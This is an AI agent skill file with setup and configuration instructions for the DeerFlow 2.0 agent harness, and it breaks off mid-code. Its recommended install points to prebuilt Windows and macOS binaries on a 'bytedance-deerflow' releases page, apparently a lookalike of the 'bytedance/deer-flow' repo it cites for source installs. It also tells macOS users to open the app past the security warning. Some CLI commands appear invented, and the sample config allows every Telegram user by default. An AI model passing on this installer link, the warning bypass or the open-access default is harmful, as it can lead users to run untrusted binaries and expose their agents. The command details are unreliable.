deerflow-super-agent-harness

What this skill does

```markdown
---
name: deerflow-super-agent-harness
description: Install, configure, and extend DeerFlow 2.0 — an open-source super agent harness that orchestrates sub-agents, memory, sandboxes, and skills to handle complex multi-step tasks.
triggers:
  - set up DeerFlow
  - install deer-flow agent
  - configure DeerFlow skills
  - add custom skills to DeerFlow
  - DeerFlow sub-agent setup
  - connect DeerFlow to Telegram Slack or Feishu
  - DeerFlow sandbox execution
  - how to use DeerFlow deep research
---

# 🦌 DeerFlow 2.0 Super Agent Harness

> Skill by [ara.so](https://ara.so) — Daily 2026 Skills collection.

DeerFlow (**D**eep **E**xploration and **E**fficient **R**esearch **Flow**) is an open-source super agent harness built on LangGraph and LangChain. It orchestrates sub-agents, persistent memory, sandboxed execution, and extensible skills to handle tasks ranging from deep research to code execution, slide generation, and automated content workflows.

---

## Installation

### Option 1: Installer (Recommended)

Download the pre-built installer from the [Releases page](https://github.com/bytedance-deerflow/deer-flow-installer/releases):

| Platform | File |
|----------|------|
| Windows  | `deer-flow_x64.exe` |
| macOS    | `deer-flow_macOS.dmg` |
| Archive  | `deer-flow_x64.7z` |

**macOS:**
```bash
# After downloading the DMG, drag to Applications, then:
# Right-click → Open if you see a security warning
# deer-flow command becomes available in terminal
deer-flow --help
```

**Windows:**
```
1. Run deer-flow_x64.exe
2. Follow installer prompts
3. Open Deer-Flow from Start Menu
```

### Option 2: From Source

```bash
# Clone the repository
git clone https://github.com/bytedance/deer-flow.git
cd deer-flow

# Install Python dependencies (Python 3.10+ required)
pip install -r requirements.txt

# Copy and configure environment
cp .env.example .env
```

---

## Configuration

### Environment Variables (`.env`)

```bash
# LLM Provider — OpenAI-compatible API
OPENAI_API_KEY=your_openai_api_key
OPENAI_BASE_URL=https://api.openai.com/v1   # or any compatible endpoint

# Optional: Anthropic
ANTHROPIC_API_KEY=your_anthropic_api_key

# Web Search
TAVILY_API_KEY=your_tavily_api_key          # recommended for research tasks
BRAVE_API_KEY=your_brave_api_key            # alternative

# Messaging channels (optional)
TELEGRAM_BOT_TOKEN=your_telegram_bot_token
SLACK_BOT_TOKEN=xoxb-your_slack_bot_token
SLACK_APP_TOKEN=xapp-your_slack_app_token
FEISHU_APP_ID=your_feishu_app_id
FEISHU_APP_SECRET=your_feishu_app_secret
```

### `config.yaml`

```yaml
# Sandbox execution mode
sandbox:
  mode: docker          # Options: local | docker | kubernetes

# LangGraph server
langgraph:
  url: http://localhost:2024

# Gateway API
gateway:
  url: http://localhost:8001
  port: 8001

# Model configuration
models:
  default: gpt-4o
  reasoning: o3-mini     # for complex planning tasks
  multimodal: gpt-4o     # for image/video understanding

# Channels (messaging integrations)
channels:
  langgraph_url: http://localhost:2024
  gateway_url: http://localhost:8001

  session:
    assistant_id: lead_agent
    config:
      recursion_limit: 100
    context:
      thinking_enabled: true
      is_plan_mode: false
      subagent_enabled: true

  telegram:
    enabled: true
    bot_token: $TELEGRAM_BOT_TOKEN
    allowed_users: []   # empty = allow all users

  slack:
    enabled: false
    bot_token: $SLACK_BOT_TOKEN
    app_token: $SLACK_APP_TOKEN
    allowed_users: []

  feishu:
    enabled: false
    app_id: $FEISHU_APP_ID
    app_secret: $FEISHU_APP_SECRET
```

---

## Key Commands (CLI)

```bash
# Start DeerFlow server
deer-flow start

# Start with specific config
deer-flow start --config config.yaml

# Run a single task (non-interactive)
deer-flow run "Research the latest trends in quantum computing and write a report"

# List available skills
deer-flow skills list

# Install a custom skill
deer-flow skills install ./my-skill/

# Check sandbox status
deer-flow sandbox status

# View memory
deer-flow memory show

# Clear memory
deer-flow memory clear
```

---

## Skill System

### Built-in Skills

Skills live in `/mnt/skills/public/` inside the sandbox container:

```
/mnt/skills/public/
├── research/SKILL.md
├── report-generation/SKILL.md
├── slide-creation/SKILL.md
├── web-page/SKILL.md
└── image-generation/SKILL.md
```

### Creating a Custom Skill

Skills are Markdown files with structured workflow definitions. Place them in `/mnt/skills/custom/`:

```markdown
# my-custom-skill/SKILL.md

## Skill: Data Pipeline Builder

### Purpose
Automate the creation of ETL data pipelines from natural language descriptions.

### Workflow
1. Parse the user's data source description
2. Identify source format (CSV, JSON, SQL, API)
3. Generate Python ETL script using pandas/polars
4. Validate with sample data
5. Output pipeline script to /mnt/user-data/outputs/

### Best Practices
- Always validate schema before transformation
- Handle null values explicitly
- Log each pipeline stage

### Resources
- pandas docs: https://pandas.pydata.org/docs/
- Tool: bash_execution for running scripts
```

```bash
# Install the custom skill
mkdir -p /mnt/skills/custom/data-pipeline
cp my-custom-skill/SKILL.md /mnt/skills/custom/data-pipeline/SKILL.md

# Or via CLI
deer-flow skills install ./my-custom-skill/
```

---

## Sandbox & File System

The sandbox container exposes these paths:

```
/mnt/user-data/
├── uploads/      ← place input files here before starting a task
├── workspace/    ← agent working directory (intermediate files)
└── outputs/      ← final deliverables retrieved here

/mnt/skills/
├── public/       ← built-in skills (read-only)
└── custom/       ← your custom skills (read-write)
```

### Python: Interacting with the Sandbox Programmatically

```python
import subprocess
import os

def run_in_sandbox(command: str, working_dir: str = "/mnt/user-data/workspace") -> str:
    """Execute a command inside the DeerFlow sandbox."""
    result = subprocess.run(
        ["docker", "exec", "deerflow-sandbox", "bash", "-c", command],
        capture_output=True,
        text=True,
        cwd=working_dir
    )
    if result.returncode != 0:
        raise RuntimeError(f"Sandbox error: {result.stderr}")
    return result.stdout

def upload_file(local_path: str) -> str:
    """Upload a file to the sandbox input directory."""
    filename = os.path.basename(local_path)
    dest = f"/mnt/user-data/uploads/{filename}"
    subprocess.run([
        "docker", "cp", local_path, f"deerflow-sandbox:{dest}"
    ], check=True)
    return dest

def download_output(filename: str, local_dest: str) -> None:
    """Retrieve a file from the sandbox output directory."""
    src = f"deerflow-sandbox:/mnt/user-data/outputs/{filename}"
    subprocess.run(["docker", "cp", src, local_dest], check=True)
```

---

## Sub-Agent Patterns

DeerFlow's lead agent automatically spawns sub-agents for complex tasks. You can guide this behavior through your prompts:

```python
# Example: Prompting DeerFlow to use parallel sub-agents
task = """
Research the competitive landscape for electric vehicles in 2025.
Use parallel research agents to cover:
1. Market share analysis (Tesla, BYD, Rivian, Lucid)
2. Battery technology advancements
3. Charging infrastructure developments
4. Government policy changes

Synthesize all findings into a comprehensive report saved to outputs/.
"""

# Via the API
import httpx

async def submit_task(task: str, assistant_id: str = "lead_agent"):
    async with httpx.AsyncClient() as client:
        response = await client.post(
            "http://localhost:2024/runs",
            json={
                "assistant_id": assistant_id,
                "input": {"messages": [{"role": "user", "content": task}]},
                "config": {
                    "recursion_limit": 100,
                    "configurable": {
                        "thinking_enabled": True,
                        "subagent_enabled": True,